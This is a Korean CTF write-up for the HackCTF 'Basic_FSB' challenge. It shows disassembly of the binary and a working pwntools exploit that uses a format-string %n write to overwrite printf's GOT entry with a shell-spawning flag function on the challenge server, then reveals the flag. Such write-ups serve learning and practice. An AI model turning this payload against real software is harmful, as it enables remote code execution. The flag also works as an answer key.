WriteUp/HackCTF

[HackCTF] Basic_FSB

d2n0s4ur 2021. 8. 8. 14:24

주어진 파일을 먼저 disassemble 해보자.

 

 

Dump of assembler code for function main:
   0x080485ed <+0>:     lea    ecx,[esp+0x4]
   0x080485f1 <+4>:     and    esp,0xfffffff0
   0x080485f4 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080485f7 <+10>:    push   ebp
   0x080485f8 <+11>:    mov    ebp,esp
   0x080485fa <+13>:    push   ecx
   0x080485fb <+14>:    sub    esp,0x4
   0x080485fe <+17>:    mov    eax,ds:0x804a044
   0x08048603 <+22>:    push   0x0
   0x08048605 <+24>:    push   0x2
   0x08048607 <+26>:    push   0x0
   0x08048609 <+28>:    push   eax
   0x0804860a <+29>:    call   0x8048420 <setvbuf@plt>
   0x0804860f <+34>:    add    esp,0x10
   0x08048612 <+37>:    call   0x804854b <vuln>
   0x08048617 <+42>:    mov    eax,0x0
   0x0804861c <+47>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x0804861f <+50>:    leave
   0x08048620 <+51>:    lea    esp,[ecx-0x4]
   0x08048623 <+54>:    ret
End of assembler dump.

 

setvbuf를 통해 입력 버퍼를 초기화 시켜주고, vuln을 실행시킨다. vuln도 마찬가지로 disassemble 해주자.

 

Dump of assembler code for function vuln:
   0x0804854b <+0>:     push   ebp
   0x0804854c <+1>:     mov    ebp,esp
   0x0804854e <+3>:     sub    esp,0x808
   0x08048554 <+9>:     sub    esp,0xc
   0x08048557 <+12>:    push   0x80486b0
   0x0804855c <+17>:    call   0x80483d0 <printf@plt>
   0x08048561 <+22>:    add    esp,0x10
   0x08048564 <+25>:    mov    eax,ds:0x804a040
   0x08048569 <+30>:    sub    esp,0x4
   0x0804856c <+33>:    push   eax
   0x0804856d <+34>:    push   0x400
   0x08048572 <+39>:    lea    eax,[ebp-0x808]
   0x08048578 <+45>:    push   eax
   0x08048579 <+46>:    call   0x80483e0 <fgets@plt>
   0x0804857e <+51>:    add    esp,0x10
   0x08048581 <+54>:    sub    esp,0x4
   0x08048584 <+57>:    lea    eax,[ebp-0x808]
   0x0804858a <+63>:    push   eax
   0x0804858b <+64>:    push   0x400
   0x08048590 <+69>:    lea    eax,[ebp-0x408]
   0x08048596 <+75>:    push   eax
   0x08048597 <+76>:    call   0x8048430 <snprintf@plt>
   0x0804859c <+81>:    add    esp,0x10
   0x0804859f <+84>:    sub    esp,0xc
   0x080485a2 <+87>:    lea    eax,[ebp-0x408]
   0x080485a8 <+93>:    push   eax
   0x080485a9 <+94>:    call   0x80483d0 <printf@plt>
   0x080485ae <+99>:    add    esp,0x10
   0x080485b1 <+102>:   nop
   0x080485b2 <+103>:   leave
   0x080485b3 <+104>:   ret
End of assembler dump.

 

처음 printf 에서 "input : "을 출력한다.

 

이후 fgets를 통해 0x400만큼 값을 입력받아온다.

 

snprintf를 통해 입력받아온 값을 다른 변수에 옮긴 다음 이 변수에 저장되어 있는 값을 그대로 printf의 인자로 넣어서 나온 값을 리턴해준다.

 

flag라는 함수도 disassemble 해주면 다음과 같다.

Dump of assembler code for function flag:
   0x080485b4 <+0>:     push   ebp
   0x080485b5 <+1>:     mov    ebp,esp
   0x080485b7 <+3>:     sub    esp,0x8
   0x080485ba <+6>:     sub    esp,0xc
   0x080485bd <+9>:     push   0x80486bc
   0x080485c2 <+14>:    call   0x80483f0 <puts@plt>
   0x080485c7 <+19>:    add    esp,0x10
   0x080485ca <+22>:    sub    esp,0xc
   0x080485cd <+25>:    push   0x80486ec
   0x080485d2 <+30>:    call   0x80483f0 <puts@plt>
   0x080485d7 <+35>:    add    esp,0x10
   0x080485da <+38>:    sub    esp,0xc
   0x080485dd <+41>:    push   0x8048718
   0x080485e2 <+46>:    call   0x8048400 <system@plt>
   0x080485e7 <+51>:    add    esp,0x10
   0x080485ea <+54>:    nop
   0x080485eb <+55>:    leave
   0x080485ec <+56>:    ret
End of assembler dump.

 

보면 단순하게 두 문자를 출력하고 system함수를 통해 쉘을 따는 함수임을 알 수 있다.

즉, 앞의 vuln에서 printf가 return되는 문장을 활용하면 exploit을 할 수 있을 것 같다.

 

exploit코드는 다음과 같다.

{printf의 got} + (flag 주소 - 4byte)의 공백 + %n

 

이를 바탕으로 구현한 exploit코드는 다음과 같다.

from pwn import *

#p = process("./basic_fsb")
p = remote("ctf.j0n9hyun.xyz",3002)

printf_got = 0x804a00c
flag = 0x80485b4

p.recvuntil("input : ")

payload = ''
payload += p32(printf_got)
payload += '%%%d'%(flag - 4)
payload += 'c%n'

p.sendline(payload)
p.interactive()

프로그램을 실행시키면,

 

 

FLAG : HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}

반응형